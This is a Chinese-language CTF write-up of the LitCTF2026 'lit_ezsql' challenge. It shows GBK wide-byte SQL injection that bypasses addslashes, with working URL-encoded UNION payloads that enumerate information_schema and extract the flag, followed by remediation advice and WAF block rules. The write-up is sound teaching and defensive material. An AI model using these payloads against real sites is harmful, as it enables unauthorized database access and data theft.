【LitCTF2026】lit_ezsql
- [【LitCTF2026】lit_ezsql------GBK 宽字节 SQL 注入利用](#【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用)
-
- [一、前置基础:字符型 SQL 注入](#一、前置基础:字符型 SQL 注入)
- 二、黑盒发现查询参数
- [三、黑盒测试普通 SQL 注入](#三、黑盒测试普通 SQL 注入)
-
- [1. 测试数字型表达式](#1. 测试数字型表达式)
- [2. 测试单引号闭合](#2. 测试单引号闭合)
- 四、黑盒定位宽字节注入
-
- [1. 为什么会想到尝试宽字节](#1. 为什么会想到尝试宽字节)
- [2. 测试宽字节单引号](#2. 测试宽字节单引号)
- [3. 使用 UNION 作为可观察的验证条件](#3. 使用 UNION 作为可观察的验证条件)
- [4. 宽字节注入完整字节流原理](#4. 宽字节注入完整字节流原理)
- 五、辅助确认后端SQL语句
- 六、获取当前数据库名
- 七、枚举数据库全部数据表
- 八、枚举flag_store数据表的字段
- 九、读取最终Flag值
- 十、完整攻击链路与知识点总结
-
- [1. 完整攻击利用链](#1. 完整攻击利用链)
- [2. 漏洞代码层成因讲解](#2. 漏洞代码层成因讲解)
- [3. 核心知识点总结](#3. 核心知识点总结)
- 十一、详细漏洞修复方案
-
- [1. 根除方案:使用预编译参数化查询](#1. 根除方案:使用预编译参数化查询)
- [2. 修复编码漏洞:全站统一 UTF-8 编码](#2. 修复编码漏洞:全站统一 UTF-8 编码)
- [3. 废弃无效防护:删除 addslashes](#3. 废弃无效防护:删除 addslashes)
- [4. 业务层白名单过滤](#4. 业务层白名单过滤)
- [5. 数据库最小权限加固](#5. 数据库最小权限加固)
- [6. 关闭调试信息泄露](#6. 关闭调试信息泄露)
- [7. 临时应急缓解(无法改代码时使用)](#7. 临时应急缓解(无法改代码时使用))
【LitCTF2026】lit_ezsql------GBK 宽字节 SQL 注入利用
一、前置基础:字符型 SQL 注入
题目页面提供了一个根据 id 查询数据的表单。假设后端代码类似:
python
sql = "SELECT id,name,col2,col3,col4 FROM users WHERE id='%s'" % id
如果用户输入没有经过处理,正常输入:
text
1
会形成:
sql
WHERE id='1'
如果输入:
text
1' OR '1'='1'-- -
则可能形成:
sql
WHERE id='1' OR '1'='1'-- -'
其中:
- 第一个单引号用于闭合原字符串;
OR '1'='1'使条件恒真;-- -注释掉后面的内容。
这种注入方式称为字符型 SQL 注入。
但是,如果后端会在单引号前添加反斜杠,例如:
text
' -> \'
那么输入的单引号就会被当作字符串内容,普通的字符型注入会失效。
二、黑盒发现查询参数
打开目标页面后,只看到一个 id 输入框。首先从功能本身判断请求方式,提交 1 后得到:
text
GET /query?id=1
访问:
text
/query?id=1
返回一条用户记录:

text
id=1
name=alice
col2=visitor
col3=none
col4=none
再测试不存在的值:
text
/query?id=0
页面提示没有查询结果,说明 id 参数确实参与了后端查询。

三、黑盒测试普通 SQL 注入
1. 测试数字型表达式
先输入不带引号的常见 Payload:
text
1 OR 1=1
结果仍然只返回 id=1 的记录,没有返回所有数据。

这说明参数很可能被放进了单引号中,输入整体被当成了字符串,而不是直接拼接成数字条件。
2. 测试单引号闭合
接着测试:
text
1'
页面仍然返回 id=1 的记录,没有出现预期的 SQL 报错。
再测试经典字符型注入:
text
1' OR '1'='1
结果依旧没有出现全表数据。

继续测试带注释的形式:
text
1' OR 1=1-- -
仍然无法得到注入结果。
此时可以得到一个重要判断:
- 参数应该是字符型 SQL 查询;
- 单引号没有直接打破原有查询;
- 后端很可能对特殊字符进行了反斜杠转义;
- 需要进一步考虑编码层面的绕过,而不是继续盲目修改
OR 1=1。
四、黑盒定位宽字节注入
1. 为什么会想到尝试宽字节
当单引号被转义成 \' 后,传统 Payload 会失效。对于 MySQL 类环境,常见的下一步测试方向包括:
- 编码转换;
- 宽字节注入;
- 双重 URL 编码;
- 注释和空白符变形;
- 其他转义绕过。
宽字节注入的核心思路是:让数据库把"前一个字节 + 被添加的反斜杠"识别成一个多字节字符,从而使反斜杠失去转义作用。
2. 测试宽字节单引号
对常见的 GBK 前导字节进行测试,例如:
text
%81%27
%A1%27
%BF%27
%DF%27
其中 %27 是单引号。单独测试时,页面不一定会直接显示明显的错误,因此还需要将它放进可观察的 UNION 查询中验证。
3. 使用 UNION 作为可观察的验证条件
我们的目标是验证是否成功闭合SQL字符串,同时确定查询返回的列数。
构造一个查询结果为空的值 -1,拼接 UNION SELECT 手动填充5个常量作为回显标记:
sql
-1' UNION SELECT 1,2,3,4,5-- -
直接提交这条明文语句会被后端
addslashes将单引号转义为\',注入失效。宽字节注入需要手动在单引号前增加高位字节
%DF,再对剩余特殊字符执行URL编码,最终可访问请求:
text
/query?id=-1%DF%27+UNION+SELECT+1%2C2%2C3%2C4%2C5--+-
页面返回内容:
text
1 | 2 | 3 | 4 | 5
该回显可以同时确认3个结论:
%DF%27成功吃掉转义反斜杠,完成字符串闭合,绕过单引号防护;UNION SELECT语句被MySQL正常解析执行;- 原始SQL查询一共返回 5个字段,后续联合查询必须严格保持5列结构。
使用 -1 的目的:让前面原生SQL WHERE id='xxx' 查询不到任何数据,页面只会展示我们可控的UNION返回值,方便观察注入结果;-- - 是SQL注释符,舍弃闭合后多余的单引号与后续SQL语句。
4. 宽字节注入完整字节流原理
用户提交的URL参数解码后的原始字节:
0x2D 0x31 0xDF 0x27(对应字符:-1 + 高位字节0xDF + 单引号')
后端防护函数对单引号0x27添加转义符反斜杠0x5C,处理完成后的字节序列变为:
text
0xDF 0x5C 0x27
DF \ '
MySQL当前连接字符集为 GBK,GBK采用双字节编码规则:
0xDF 0x5C被数据库识别为一个完整合法的GBK汉字;- 反斜杠
0x5C不再具备SQL转义功能,被合并进汉字; - 剩余独立字节
0x27(单引号)成为真正的字符串结束符。
后端原本拼接的SQL逻辑:
sql
WHERE id='-1\' UNION SELECT ...'
经过GBK解析之后,语义被篡改,成功执行联合注入:
sql
WHERE id='-1運' UNION SELECT 1,2,3,4,5-- - '
补充说明:
%DF不是随意选择的字符,测试时需要批量遍历GBK可用高字节(%81、%A1、%BF、%DF)逐个探测,最终通过UNION回显确认%DF可成功利用。在线URL编码工具无法自动生成该Payload,高位字节需要人工拼接。
五、辅助确认后端SQL语句
黑盒测试阶段尝试探测额外参数,追加 debug=1:
text
/query?id=1&debug=1
页面泄露完整执行SQL:

sql
SELECT `id`,`name`,`col2`,`col3`,`col4`
FROM `ezsql`.`users`
WHERE id='1'
LIMIT 50
提交普通单引号payload后,调试页面展示转义结果:
sql
WHERE id='1\''
日志直观证明后端开启了转义防护,单引号自动添加反斜杠。
即便不存在debug调试接口,我们也可以依靠「普通注入失败 +
%DF%27联合查询成功」的行为特征,判断宽字节注入漏洞,不需要依赖SQL泄露。
六、获取当前数据库名
确认注入可用后,修改联合查询的第二列,替换为MySQL内置函数 database() 读取当前库名:
原始SQL语句
sql
-1' UNION SELECT 1,database(),3,4,5-- -
完整URL编码请求(手动拼接%DF,其余字符使用RFC标准%20空格编码)
text
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cdatabase%28%29%2C3%2C4%2C5--%20-
页面回显结果:

text
ezsql
得到当前数据库名称:ezsql
七、枚举数据库全部数据表
利用系统库 information_schema.tables 查询当前库内所有表名
原始SQL语句
sql
-1' UNION SELECT 1,
group_concat(table_name),
3,4,5
FROM information_schema.tables
WHERE table_schema=database()
-- -
URL编码后的请求链接
text
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28table_name%29%2C3%2C4%2C5%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29--%20-
返回结果:
text
users,flag_store
筛选目标敏感表:flag_store
八、枚举flag_store数据表的字段
绕过引号过滤技巧:使用十六进制值
0x666c61675f73746f7265代替字符串'flag_store',避免再次使用单引号。原始SQL语句
sql
-1' UNION SELECT 1,
group_concat(column_name),
3,4,5
FROM information_schema.columns
WHERE table_schema=database()
AND table_name=0x666c61675f73746f7265
-- -
URL编码请求
text
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28column_name%29%2C3%2C4%2C5%20FROM%20information_schema.columns%20WHERE%20table_schema%3Ddatabase%28%29%20AND%20table_name%3D0x666c61675f73746f7265--%20-
0x666c61675f73746f7265 等价字符串:flag_store
页面返回字段:
text
id,flag
目标字段:flag_store.flag
九、读取最终Flag值
构造Payload读取flag字段全部内容
原始SQL语句
sql
-1' UNION SELECT 1,
group_concat(flag),
3,4,5
FROM ezsql.flag_store
-- -
完整可直接访问的请求地址
text
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28flag%29%2C3%2C4%2C5%20FROM%20ezsql.flag_store--%20-
页面回显flag:

text
flag{kkvxy7jm-kx3x-4pl-82f7-bmtcrpifthip3}
十、完整攻击链路与知识点总结
1. 完整攻击利用链
text
1. 发现站点 /query?id= 可控GET参数,存在SQL字符串拼接查询点
2. 常规单引号 1' 注入被转义失效,初步判断存在 addslashes 防护
3. 利用 debug=1 泄露后端SQL,确认参数被单引号包裹、存在转义行为
4. 结合 MySQL+GBK 环境特征,判定存在宽字节注入漏洞
5. 测试高位字节字典,确定 %DF%27 可吃掉反斜杠成功闭合SQL
6. 构造5列UNION查询,确认字段数量、验证注入完全可用
7. 调用 database() 函数枚举当前数据库:ezsql
8. 查询 information_schema.tables 枚举所有表:users、flag_store
9. 十六进制绕过单引号,枚举 flag_store 表字段:id、flag
10. 查表获取 flag 字段内容,拿到最终 FLAG
2. 漏洞代码层成因讲解
后端不安全源码逻辑(漏洞根源):
php
// 危险写法:直接拼接用户输入
$sql = "SELECT id,name,col2,col3,col4 FROM users WHERE id='$id'";
程序为了防注入,使用了错误的防护方式:
php
$id = addslashes($_GET['id']);
漏洞叠加原因:
- SQL字符串拼接:用户输入直接参与SQL语法构造,是注入根本源头。
- addslashes 防护缺陷 :只会固定把
'转为\',属于字符级浅层防护。 - 数据库GBK编码 :MySQL连接编码为GBK,允许两字节合成一个汉字。
- 攻击者可控高位字节 :
传入%DF%27
服务端转义后变成:%DF%5C%27
MySQL(GBK) 将DF 5C解析为一个完整汉字
反斜杠被吃掉,剩下%27单引号成功闭合SQL
3. 核心知识点总结
- 字符型SQL注入:参数被单引号包裹,可控输入可破坏SQL结构。
- 宽字节注入原理:GBK双字节编码特性绕过
addslashes转义防护。 - URL编码细节:GET参数中
+与%20等效,均为空格,不影响漏洞利用。 - UNION 联合查询:必须严格匹配原查询字段数量,否则无法回显数据。
- MySQL 渗透流程:通过
information_schema系统库逐层枚举库、表、字段。 - 调试接口危害:
debug=1泄露SQL源码,极大降低攻击难度。
十一、详细漏洞修复方案
1. 根除方案:使用预编译参数化查询
危险代码
php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id'";
安全修复代码
php
$sql = "SELECT * FROM users WHERE id=:id";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(":id", $_GET['id']);
$stmt->execute();
修复原理 :
预编译将「SQL语句结构」和「用户参数」完全分离,无论传入任何恶意Payload,只会被当作纯参数值 ,永远不会被数据库解析为SQL语句,彻底杜绝所有SQL注入(含宽字节注入)。
2. 修复编码漏洞:全站统一 UTF-8 编码
废弃项目GBK数据库连接配置:
php
// 移除
$pdo->exec("SET NAMES GBK");
// 改为
$pdo->exec("SET NAMES utf8mb4");
修复原理 :
UTF-8 无"高低字节拼接"特性,不存在吃掉反斜杠的条件,从底层彻底废掉宽字节注入漏洞。
3. 废弃无效防护:删除 addslashes
addslashes 在GBK环境完全失效,属于伪防护,必须直接删除,不能作为防御手段。
4. 业务层白名单过滤
该接口 id 为纯数字参数,后端强制校验:
php
if(!is_numeric($_GET['id'])){
die("非法参数");
}
严格限制输入格式,杜绝编码字符、特殊符号进入后端逻辑。
5. 数据库最小权限加固
- 网站业务账号禁止访问 information_schema
- 禁止跨库查询权限
- 禁止文件导出、高权限操作
即使存在注入漏洞,攻击者也无法枚举库表、无法脱库。
6. 关闭调试信息泄露
生产环境禁用 debug 调试参数,关闭SQL报错详情、堆栈信息输出,防止泄露后端SQL结构,阻断黑盒测试辅助信息。
7. 临时应急缓解(无法改代码时使用)
- WAF 拦截 UNION、SELECT、information_schema、database() 等注入关键字
- 拦截
%DF、%81等异常高位GBK攻击字节 - 过滤非常规URL编码字符